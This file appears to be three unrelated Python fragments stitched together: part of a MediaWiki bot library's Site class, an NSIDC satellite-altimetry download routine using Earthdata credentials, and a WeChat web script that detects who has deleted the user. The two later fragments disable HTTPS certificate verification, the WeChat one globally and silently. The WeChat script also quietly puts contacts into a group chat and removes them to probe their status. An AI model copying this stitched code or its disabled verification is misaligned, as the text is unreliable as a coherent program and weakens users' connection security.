[self.SERVICE_API] sqllag = self._sql_info_cache["replag"] if sqllag > 300: if not self._maxlag: return [self.SERVICE_API, self.SERVICE_SQL] if now - self._api_info_cache["lastcheck"] > 300: self._api_info_cache["lastcheck"] = now try: self._api_info_cache["maxlag"] = apilag = self.get_maxlag() except exceptions.APIError: self._api_info_cache["maxlag"] = apilag = 0 else: apilag = self._api_info_cache["maxlag"] if apilag > self._maxlag: return [self.SERVICE_SQL, self.SERVICE_API] return [self.SERVICE_API, self.SERVICE_SQL] return [self.SERVICE_SQL, self.SERVICE_API] @property def name(self): """The Site's name (or "wikiid" in the API), like ``"enwiki"``.""" return self._name @property def project(self): """The Site's project name in lowercase, like ``"wikipedia"``.""" return self._project @property def lang(self): """The Site's language code, like ``"en"`` or ``"es"``.""" return self._lang @property def domain(self): """The Site's web domain, like ``"en.wikipedia.org"``.""" return urlparse(self._base_url).netloc @property def url(self): """The Site's full base URL, like ``"https://en.wikipedia.org"``.""" url = self._base_url if url.startswith("//"): # Protocol-relative URLs from 1.18 if self._use_https: url = "https:" + url else: url = "http:" + url return url def api_query(self, **kwargs): """Do an API query with `kwargs` as the parameters. This will first attempt to construct an API url from :py:attr:`self._base_url` and :py:attr:`self._script_path`. We need both of these, or else we'll raise :py:exc:`~earwigbot.exceptions.APIError`. If :py:attr:`self._base_url` is protocol-relative (introduced in MediaWiki 1.18), we'll choose HTTPS only if :py:attr:`self._user_https` is ``True``, otherwise HTTP. We'll encode the given params, adding ``format=json`` along the way, as well as ``&assert=`` and ``&maxlag=`` based on :py:attr:`self._assert_edit` and :py:attr:`_maxlag` respectively. Additionally, we'll sleep a bit if the last query was made fewer than :py:attr:`self._wait_between_queries` seconds ago. The request is made through :py:attr:`self._opener`, which has cookie support (:py:attr:`self._cookiejar`), a ``User-Agent`` (:py:const:`earwigbot.wiki.constants.USER_AGENT`), and ``Accept-Encoding`` set to ``"gzip"``. Assuming everything went well, we'll gunzip the data (if compressed), load it as a JSON object, and return it. If our request failed for some reason, we'll raise :py:exc:`~earwigbot.exceptions.APIError` with details. If that reason was due to maxlag, we'll sleep for a bit and then repeat the query until we exceed :py:attr:`self._max_retries`. There is helpful MediaWiki API documentation at `MediaWiki.org <http://www.mediawiki.org/wiki/API>`_. """ with self._api_lock: return self._api_query(kwargs) def sql_query(self, query, params=(), plain_query=False, dict_cursor=False, cursor_class=None, show_table=False): """Do an SQL query and yield its results. If *plain_query* is ``True``, we will force an unparameterized query. Specifying both *params* and *plain_query* will cause an error. If *dict_cursor* is ``True``, we will use :py:class:`oursql.DictCursor` as our cursor, otherwise the default :py:class:`oursql.Cursor`. If *cursor_class* is given, it will override this option. If *show_table* is True, the name of the table will be prepended to the name of the column. This will mainly affect an :py:class:`~oursql.DictCursor`. Example usage:: >>> query = "SELECT user_id, user_registration FROM user WHERE user_name = ?" >>> params = ("The Earwig",) >>> result1 = site.sql_query(query, params) >>> result2 = site.sql_query(query, params, dict_cursor=True) >>> for row in result1: print row (7418060L, '20080703215134') >>> for row in result2: print row {'user_id': 7418060L, 'user_registration': '20080703215134'} This may raise :py:exc:`~earwigbot.exceptions.SQLError` or one of oursql's exceptions (:py:exc:`oursql.ProgrammingError`, :py:exc:`oursql.InterfaceError`, ...) if there were problems with the query. See :py:meth:`_sql_connect` for information on how a connection is acquired. Also relevant is `oursql's documentation <http://packages.python.org/oursql>`_ for details on that package. """ if not cursor_class: if dict_cursor: cursor_class = oursql.DictCursor else: cursor_class = oursql.Cursor klass = cursor_class with self._sql_lock: if not self._sql_conn: self._sql_connect() with self._sql_conn.cursor(klass, show_table=show_table) as cur: cur.execute(query, params, plain_query) for result in cur: yield result def get_maxlag(self, showall=False): """Return the internal database replication lag in seconds. In a typical setup, this function returns the replication lag *within* the WMF's cluster, *not* external replication lag affecting the Toolserver (see :py:meth:`get_replag` for that). This is useful when combined with the ``maxlag`` API query param (added by config), in which queries will be halted and retried if the lag is too high, usually above five seconds. With *showall*, will return a list of the lag for all servers in the cluster, not just the one with the highest lag. """ params = {"action": "query", "meta": "siteinfo", "siprop": "dbrepllag"} if showall: params["sishowalldb"] = 1 with self._api_lock: result = self._api_query(params, ignore_maxlag=True) if showall: return [server["lag"] for server in result["query"]["dbrepllag"]] return result["query"]["dbrepllag"][0]["lag"] def get_replag(self): """Return the estimated external database replication lag in seconds. Requires SQL access. This function only makes sense on a replicated database (e.g. the Wikimedia Toolserver) and on a wiki that receives a large number of edits (ideally, at least one per second), or the result may be larger than expected, since it works by subtracting the current time from the timestamp of the latest recent changes event. This may raise :py:exc:`~earwigbot.exceptions.SQLError` or one of oursql's exceptions (:py:exc:`oursql.ProgrammingError`, :py:exc:`oursql.InterfaceError`, ...) if there were problems. """ query = """SELECT UNIX_TIMESTAMP() - UNIX_TIMESTAMP(rc_timestamp) FROM recentchanges ORDER BY rc_timestamp DESC LIMIT 1""" result = list(self.sql_query(query)) return result[0][0] def namespace_id_to_name(self, ns_id, all=False): """Given a namespace ID, returns associated namespace names. If *all* is ``False`` (default), we'll return the first name in the list, which is usually the localized version. Otherwise, we'll return the entire list, which includes the canonical name. For example, this returns ``u"Wikipedia"`` if *ns_id* = ``4`` and *all* is ``False`` on ``enwiki``; returns ``[u"Wikipedia", u"Project", u"WP"]`` if *ns_id* = ``4`` and *all* is ``True``. Raises :py:exc:`~earwigbot.exceptions.NamespaceNotFoundError` if the ID is not found. """ try: if all: return self._namespaces[ns_id] else: return self._namespaces[ns_id][0] except KeyError: e = "There is no namespace with id {0}.".format(ns_id) raise exceptions.NamespaceNotFoundError(e) def namespace_name_to_id(self, name): """Given a namespace name, returns the associated ID. Like :py:meth:`namespace_id_to_name`, but reversed. Case is ignored, because namespaces are assumed to be case-insensitive. Raises :py:exc:`~earwigbot.exceptions.NamespaceNotFoundError` if the name is not found. """ lname = name.lower() for ns_id, names in self._namespaces.items(): lnames = [n.lower() for n in names] # Be case-insensitive if lname in lnames: return ns_id e = "There is no namespace with name '{0}'.".format(name) raise exceptions.NamespaceNotFoundError(e) def get_page(self, title, follow_redirects=False, pageid=None): """Return a :py:class:`Page` object for the given title. *follow_redirects* is passed directly to :py:class:`~earwigbot.wiki.page.Page`'s constructor. Also, this will return a :py:class:`~earwigbot.wiki.category.Category` object instead if the given title is in the category namespace. As :py:class:`~earwigbot.wiki.category.Category` is a subclass of :py:class:`~earwigbot.wiki.page.Page`, this should not cause problems. Note that this doesn't do any direct checks for existence or redirect-following: :py:class:`~earwigbot.wiki.page.Page`'s methods provide that. """ title = self._unicodeify(title) prefixes = self.namespace_id_to_name(constants.NS_CATEGORY, all=True) prefix = title.split(":", 1)[0] if prefix != title: # Avoid a page that is simply "Category" if prefix in prefixes: return Category(self, title, follow_redirects, pageid, self._logger) return Page(self, title, follow_redirects, pageid, self._logger) def get_category(self, catname, follow_redirects=False, pageid=None): """Return a :py:class:`Category` object for the given category name. *catname* should be given *without* a namespace prefix. This method is really just shorthand for :py:meth:`get_page("Category:" + catname) <get_page>`. """ catname = self._unicodeify(catname) prefix = self.namespace_id_to_name(constants.NS_CATEGORY) pagename = u':'.join((prefix, catname)) return Category(self, pagename, follow_redirects, pageid, self._logger) def get_user(self, username=None): """Return a :py:class:`User` object for the given username. If *username* is left as ``None``, then a :py:class:`~earwigbot.wiki.user.User` object representing the currently logged-in (or anonymous!) user is returned. """ if username: username = self._unicodeify(username) else: username = self._get_username() return User(self, username, self._logger) def delegate(self, services, args=None, kwargs=None): """Delegate a task to either the API or SQL depending on conditions. *services* should be a dictionary in which the key is the service name (:py:attr:`self.SERVICE_API <SERVICE_API>` or :py:attr:`self.SERVICE_SQL <SERVICE_SQL>`), and the value is the function to call for this service. All functions will be passed the same arguments the tuple *args* and the dict **kwargs**, which are both empty by default. The service order is determined by :py:meth:`_get_service_order`. Not every service needs an entry in the dictionary. Will raise :py:exc:`~earwigbot.exceptions.NoServiceError` if an appropriate service cannot be found. """ if not args: args = () if not kwargs: kwargs = {} order = self._get_service_order() for srv in order: if srv in services: try: return services[srv](*args, **kwargs) except exceptions.ServiceError: continue raise exceptions.NoServiceError(services)
def nsidc_subset_altimetry(filepath, PRODUCT, VERSION, USER='', PASSWORD='', BBOX=None, POLYGON=None, TIME=None, FORMAT=None, MODE=None, CLOBBER=False, VERBOSE=False, UNZIP=False): #-- https://docs.python.org/3/howto/urllib2.html#id5 #-- create a password manager password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() #-- Add the username and password for NASA Earthdata Login system password_mgr.add_password(None, 'https://urs.earthdata.nasa.gov', USER, PASSWORD) #-- Encode username/password for request authorization headers base64_string = base64.b64encode('{0}:{1}'.format(USER,PASSWORD).encode()) #-- Create cookie jar for storing cookies. This is used to store and return #-- the session cookie given to use by the data server (otherwise will just #-- keep sending us back to Earthdata Login to authenticate). cookie_jar = CookieJar() #-- create "opener" (OpenerDirector instance) opener = urllib2.build_opener( urllib2.HTTPBasicAuthHandler(password_mgr), urllib2.HTTPSHandler(context=ssl.SSLContext()), urllib2.HTTPCookieProcessor(cookie_jar)) #-- add Authorization header to opener authorization_header = "Basic {0}".format(base64_string.decode()) opener.addheaders = [("Authorization", authorization_header)] #-- Now all calls to urllib2.urlopen use our opener. urllib2.install_opener(opener) #-- All calls to urllib2.urlopen will now use handler #-- Make sure not to include the protocol in with the URL, or #-- HTTPPasswordMgrWithDefaultRealm will be confused. #-- compile lxml xml parser parser = lxml.etree.XMLParser(recover=True, remove_blank_text=True) #-- product and version flags product_flag = '?short_name={0}'.format(PRODUCT) version_flag = '&version={0}'.format(VERSION) if VERSION else '' #-- if using time start and end to temporally subset data if TIME: #-- verify that start and end times are in ISO format start_time = dateutil.parser.parse(TIME[0]).isoformat() end_time = dateutil.parser.parse(TIME[1]).isoformat() time_flag = '&time={0},{1}'.format(start_time, end_time) temporal_flag = '&temporal={0},{1}'.format(start_time, end_time) else: time_flag = '' temporal_flag = '' #-- spatially subset data using bounding box or polygon file if BBOX: #-- if using a bounding box to spatially subset data #-- min_lon,min_lat,max_lon,max_lat bounds_flag = '&bounding_box={0:f},{1:f},{2:f},{3:f}'.format(*BBOX) spatial_flag = '&bbox={0:f},{1:f},{2:f},{3:f}'.format(*BBOX) elif POLYGON: #-- read shapefile or kml/kmz file fileBasename,fileExtension = os.path.splitext(POLYGON) #-- extract file name and subsetter indices lists match_object = re.match('(.*?)(\[(.*?)\])?$',POLYGON) FILE = os.path.expanduser(match_object.group(1)) #-- read specific variables of interest v = match_object.group(3).split(',') if match_object.group(2) else None #-- get MultiPolygon object from input spatial file if fileExtension in ('.shp','.zip'): #-- if reading a shapefile or a zipped directory with a shapefile ZIP = (fileExtension == '.zip') m = read_shapefile(os.path.expanduser(FILE), VARIABLES=v, ZIP=ZIP) elif fileExtension in ('.kml','.kmz'): #-- if reading a keyhole markup language (can be compressed) KMZ = (fileExtension == '.kmz') m = read_kml_file(os.path.expanduser(FILE), VARIABLES=v, KMZ=KMZ) elif fileExtension in ('.json','.geojson'): #-- if reading a GeoJSON file m = read_geojson_file(os.path.expanduser(FILE), VARIABLES=v) else: raise IOError('Unlisted polygon type ({0})'.format(fileExtension)) #-- calculate the bounds of the MultiPolygon object bounds_flag = '&bounding_box={0:f},{1:f},{2:f},{3:f}'.format(*m.bounds) #-- calculate the convex hull of the MultiPolygon object for subsetting #-- the NSIDC api requires polygons to be in counter-clockwise order X,Y = shapely.geometry.polygon.orient(m.convex_hull,sign=1).exterior.xy #-- coordinate order for polygon flag is lon1,lat1,lon2,lat2,... polygon_flag = ','.join(['{0:f},{1:f}'.format(x,y) for x,y in zip(X,Y)]) spatial_flag = '&polygon={0}'.format(polygon_flag) else: #-- do not spatially subset data bounds_flag = '' spatial_flag = '' #-- if changing the output format format_flag = '&format={0}'.format(FORMAT) if FORMAT else '' #-- get dictionary of granules for temporal and spatial subset HOST = posixpath.join('https://cmr.earthdata.nasa.gov','search','granules') page_size,page_num = (10,1) granules = {} FLAG = True #-- reduce to a set number of files per page and then iterate through pages while FLAG: #-- flags for page size and page number size_flag = '&page_size={0:d}'.format(page_size) num_flag = '&page_num={0:d}'.format(page_num) #-- url for page remote_url = ''.join([HOST,product_flag,version_flag,bounds_flag, temporal_flag,size_flag,num_flag]) #-- Create and submit request. There are a wide range of exceptions #-- that can be thrown here, including HTTPError and URLError. request = urllib2.Request(remote_url) tree = lxml.etree.parse(urllib2.urlopen(request, timeout=20), parser) root = tree.getroot() #-- total number of hits for subset (not just on page) hits = int(tree.find('hits').text) #-- extract references on page references = [i for i in tree.iter('reference',root.nsmap)] #-- check flag FLAG = (len(references) > 0) for reference in references: name = reference.find('name',root.nsmap).text id = reference.find('id',root.nsmap).text location = reference.find('location',root.nsmap).text revision_id = reference.find('revision-id',root.nsmap).text #-- read cmd location to get filename req = urllib2.Request(location) #-- parse cmd location url tr = lxml.etree.parse(urllib2.urlopen(req, timeout=20), parser) r = tr.getroot() f,=tr.xpath('.//gmd:fileIdentifier/gmx:FileName',namespaces=r.nsmap) #-- create list of id, cmd location, revision and file granules[name] = [id,location,revision_id,f.text] #-- add to page number if valid page page_num += 1 if FLAG else 0 #-- for each page of data for p in range(1,page_num): #-- flags for page size and page number size_flag = '&page_size={0:d}'.format(page_size) num_flag = '&page_num={0:d}'.format(p) #-- remote https server for page of NSIDC Data HOST = posixpath.join('https://n5eil02u.ecs.nsidc.org','egi','request') remote_url = ''.join([HOST,product_flag,version_flag,bounds_flag, spatial_flag,time_flag,format_flag,size_flag,num_flag]) #-- local file today = time.strftime('%Y-%m-%dT%H-%M-%S',time.localtime()) #-- download as either zipped file (default) or unzip to a directory if UNZIP: #-- Create and submit request. There are a wide range of exceptions #-- that can be thrown here, including HTTPError and URLError. request = urllib2.Request(remote_url) response = urllib2.urlopen(request) #-- read to BytesIO object fid = io.BytesIO(response.read()) #-- use zipfile to extract contents from bytes remote_data = zipfile.ZipFile(fid) subdir = '{0}_{1}'.format(PRODUCT,today) print('{0} -->\n'.format(remote_url)) if VERBOSE else None #-- extract each member and convert permissions to MODE for member in remote_data.filelist: local_file = os.path.join(filepath,subdir,member.filename) print('\t{0}\n'.format(local_file)) if VERBOSE else None remote_data.extract(member, path=os.path.join(filepath,subdir)) os.chmod(local_file, MODE) #-- close the zipfile object remote_data.close() else: #-- Printing files transferred if VERBOSE local_zip=os.path.join(filepath,'{0}_{1}.zip'.format(PRODUCT,today)) args = (remote_url,local_zip) print('{0} -->\n\t{1}\n'.format(*args)) if VERBOSE else None #-- Create and submit request. There are a wide range of exceptions #-- that can be thrown here, including HTTPError and URLError. request = urllib2.Request(remote_url) response = urllib2.urlopen(request) #-- copy contents to local file using chunked transfer encoding #-- transfer should work properly with ascii and binary data formats CHUNK = 16 * 1024 with open(local_zip, 'wb') as f: shutil.copyfileobj(response, f, CHUNK) #-- keep remote modification time of file and local access time # os.utime(local_zip, (os.stat(local_zip).st_atime, remote_mtime)) #-- convert permissions to MODE os.chmod(local_zip, MODE)
def main(): try: ssl._create_default_https_context = ssl._create_unverified_context opener = wdf_urllib.build_opener( wdf_urllib.HTTPCookieProcessor(CookieJar())) wdf_urllib.install_opener(opener) except: pass if not getUUID(): print('获取uuid失败') return showQRImage() time.sleep(1) while waitForLogin() != '200': pass os.remove(QRImagePath) if not login(): print('登录失败') return if not webwxinit(): print('初始化失败') return MemberList = webwxgetcontact() MemberCount = len(MemberList) print('通讯录共%s位好友' % MemberCount) ChatRoomName = '' result = [] d = {} for Member in MemberList: d[Member['UserName']] = (Member['NickName'].encode('utf-8'), Member['RemarkName'].encode('utf-8')) print('开始查找...') group_num = int(math.ceil(MemberCount / float(MAX_GROUP_NUM))) for i in range(0, group_num): UserNames = [] for j in range(0, MAX_GROUP_NUM): if i * MAX_GROUP_NUM + j >= MemberCount: break Member = MemberList[i * MAX_GROUP_NUM + j] UserNames.append(Member['UserName']) # 新建群组/添加成员 if ChatRoomName == '': (ChatRoomName, DeletedList) = createChatroom(UserNames) else: DeletedList = addMember(ChatRoomName, UserNames) DeletedCount = len(DeletedList) if DeletedCount > 0: result += DeletedList # 删除成员 deleteMember(ChatRoomName, UserNames) # 进度条 progress_len = MAX_PROGRESS_LEN progress = '-' * progress_len progress_str = '%s' % ''.join( map(lambda x: '#', progress[:(progress_len * (i + 1)) / group_num])) print(''.join([ '[', progress_str, ''.join('-' * (progress_len - len(progress_str))), ']' ])) print('新发现你被%d人删除' % DeletedCount) for i in range(DeletedCount): if d[DeletedList[i]][1] != '': print(d[DeletedList[i]][0] + '(%s)' % d[DeletedList[i]][1]) else: print(d[DeletedList[i]][0]) if i != group_num - 1: print('正在继续查找,请耐心等待...') # 下一次进行接口调用需要等待的时间 time.sleep(INTERFACE_CALLING_INTERVAL) # todo 删除群组 print('\n结果汇总完毕,20s后可重试...') resultNames = [] for r in result: if d[r][1] != '': resultNames.append(d[r][0] + '(%s)' % d[r][1]) else: resultNames.append(d[r][0]) print('---------- 被删除的好友列表(共%d人) ----------' % len(result)) # 过滤emoji resultNames = map(lambda x: re.sub(r'<span.+/span>', '', x), resultNames) if len(resultNames): print('\n'.join(resultNames)) else: print("无") print('---------------------------------------------')